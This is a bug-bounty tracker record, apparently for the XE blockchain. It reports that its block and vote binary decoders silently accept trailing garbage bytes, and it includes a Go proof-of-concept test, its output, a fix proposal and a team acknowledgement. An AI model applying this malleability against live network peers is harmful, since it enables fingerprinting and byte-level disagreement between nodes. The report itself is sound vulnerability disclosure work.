{"id":"XE-0945","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"UnmarshalBlock and DecodeVote silently ignore trailing bytes","area":"consensus","claimed_tier":"minor","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":false,"internal_ref":"","internal_url":null,"status":"triaging","closed_reason":null,"github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T19:54:25.708264+00:00","updated_at":"2026-11-08T20:17:41.885067+00:00","source_created_at":null,"told_at":"2026-11-08T20:18:45.815988+00:00","status_changed_at":"2026-11-08T20:18:14.735019+00:00","url":"https://bounty.xe.network/XE-0945","body":"## Summary\r\nUnmarshalBlock and DecodeVote are the binary codecs for blocks and votes; a well-formed body plus leftover bytes should fail the way a strict decoder would. At core/encoding.go:529-533 UnmarshalBlock reads PoWNonce only when len(data)==tailOffset+8 and then returns b, nil, and at :693-709 DecodeVote copies sigLen bytes at offset 140 and returns, leaving extra bytes unused. Exact encoding plus trailing garbage therefore succeeds and yields the same fields and hash as the exact encoding. Gossip, disk, and test fixtures that decode peer bytes all take these helpers. GitHub #53 is block gossip forwarding garbage signatures and #45 is statechain gossip hash-only admission; this is the binary codec dropping leftover bytes after a well-formed body.\r\n\r\n## Affected components\r\ncore/encoding.go:529-533 UnmarshalBlock (return on well-formed body, no leftover check); core/encoding.go:693-709 DecodeVote (copy sigLen at offset 140, extra bytes unused) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.\r\n\r\n## Impact\r\nDifferent byte strings hash and verify as the same block. A peer can fingerprint or route-block by trailing tag; future byte-exact codec equality will disagree silently. No state corruption today; the encoding is malleable.\r\n\r\n## PoC\r\n\r\n```go\r\npackage round3\r\n\r\nimport (\r\n\t\"bytes\"\r\n\t\"encoding/hex\"\r\n\t\"fmt\"\r\n\t\"testing\"\r\n\r\n\t\"github.com/xeprotocol/xe/core\"\r\n)\r\n\r\nfunc TestPoC_B8(t *testing.T) {\r\n\tfmt.Printf(\"PROVENANCE: xe=%s file=poc/round3/b8_trailing_bytes_test.go\\n\", pinXE)\r\n\tcore.SetNetworkID(\"\")\r\n\r\n\tacc := hex.EncodeToString(bytesN(0xaa, 32))\r\n\tprev := hex.EncodeToString(bytesN(0xbb, 32))\r\n\tsrc := hex.EncodeToString(bytesN(0xcc, 32))\r\n\tb := &core.Block{\r\n\t\tType:      core.BlockReceive,\r\n\t\tAccount:   acc,\r\n\t\tPrevious:  prev,\r\n\t\tBalance:   7,\r\n\t\tAmount:    7,\r\n\t\tTimestamp: 1,\r\n\t\tAsset:     \"XE\",\r\n\t\tSource:    src,\r\n\t}\r\n\tenc, err := core.MarshalBlock(b)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"MarshalBlock: %v\", err)\r\n\t}\r\n\tctrl, err := core.UnmarshalBlock(enc)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"CONTROL UnmarshalBlock: %v\", err)\r\n\t}\r\n\r\n\tgarbage := []byte{0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x01}\r\n\tatkEnc := append(append([]byte{}, enc...), garbage...)\r\n\tgot, err := core.UnmarshalBlock(atkEnc)\r\n\tfmt.Printf(\"CONTROL UnmarshalBlock(exact) err=%v type=%s balance=%d\\n\", err, ctrl.Type, ctrl.Balance)\r\n\tfmt.Printf(\"ATTACK  UnmarshalBlock(exact+%d trailing) err=%v type=%s balance=%d\\n\", len(garbage), err, func() core.BlockType {\r\n\t\tif got != nil {\r\n\t\t\treturn got.Type\r\n\t\t}\r\n\t\treturn \"\"\r\n\t}(), func() uint64 {\r\n\t\tif got != nil {\r\n\t\t\treturn got.Balance\r\n\t\t}\r\n\t\treturn 0\r\n\t}())\r\n\r\n\tvote := &core.Vote{\r\n\t\tRepPubKey:       hex.EncodeToString(bytesN(0x11, 32)),\r\n\t\tBlockHash:       hex.EncodeToString(bytesN(0x22, 32)),\r\n\t\tConflictAccount: hex.EncodeToString(bytesN(0x33, 32)),\r\n\t\tConflictPrev:    \"0\",\r\n\t\tTimestamp:       2,\r\n\t\tFinal:           false,\r\n\t\tSignature:       bytesN(0x44, 64),\r\n\t}\r\n\tvEnc, err := core.EncodeVote(vote)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"EncodeVote: %v\", err)\r\n\t}\r\n\tvCtrl, err := core.DecodeVote(vEnc)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"CONTROL DecodeVote: %v\", err)\r\n\t}\r\n\tvAtk, vErr := core.DecodeVote(append(append([]byte{}, vEnc...), garbage...))\r\n\tfmt.Printf(\"CONTROL DecodeVote(exact) err=%v hash=%s\\n\", err, vCtrl.BlockHash[:16])\r\n\tfmt.Printf(\"ATTACK  DecodeVote(exact+trailing) err=%v hash=%s\\n\", vErr, func() string {\r\n\t\tif vAtk != nil {\r\n\t\t\treturn vAtk.BlockHash[:16]\r\n\t\t}\r\n\t\treturn \"\"\r\n\t}())\r\n\r\n\tblockOK := err == nil && got != nil && got.Balance == 7 && got.Type == core.BlockReceive && !bytes.Equal(enc, atkEnc)\r\n\tvoteOK := vErr == nil && vAtk != nil && vAtk.BlockHash == vote.BlockHash\r\n\tif blockOK && voteOK {\r\n\t\tfmt.Println(\"PASS: UnmarshalBlock and DecodeVote succeed and ignore trailing garbage; CONTROL exact encodings decode\")\r\n\t\tfmt.Println(\"VERDICT=CONFIRMED\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"VERDICT=KILLED\")\r\n}\r\n```\r\n\r\n```\r\nATTACK UnmarshalBlock(exact+6 trailing) err=<nil> type=receive balance=7\r\nATTACK DecodeVote(exact+trailing) err=<nil> hash=2222222222222222\r\nPASS: UnmarshalBlock and DecodeVote succeed and ignore trailing garbage\r\n```\r\n\r\n## Suggested fix\r\nFail UnmarshalBlock and DecodeVote when leftover bytes remain after the well-formed body. Treat trailing garbage as invalid encoding.\r\n---","patch_refs":[],"thread":[{"id":1081,"source":"desk","source_ref":"reply:627","author":"Joseph Denne","team":true,"body":"Thank you for the report. We have read it in full and confirmed the decoder behaviour you describe; we also checked how those functions are used in the current tree, which bounds the effect. It is being tracked and we will update you here once the team has ruled on it.","created_at":"2026-11-08T20:17:41.885067+00:00"}]}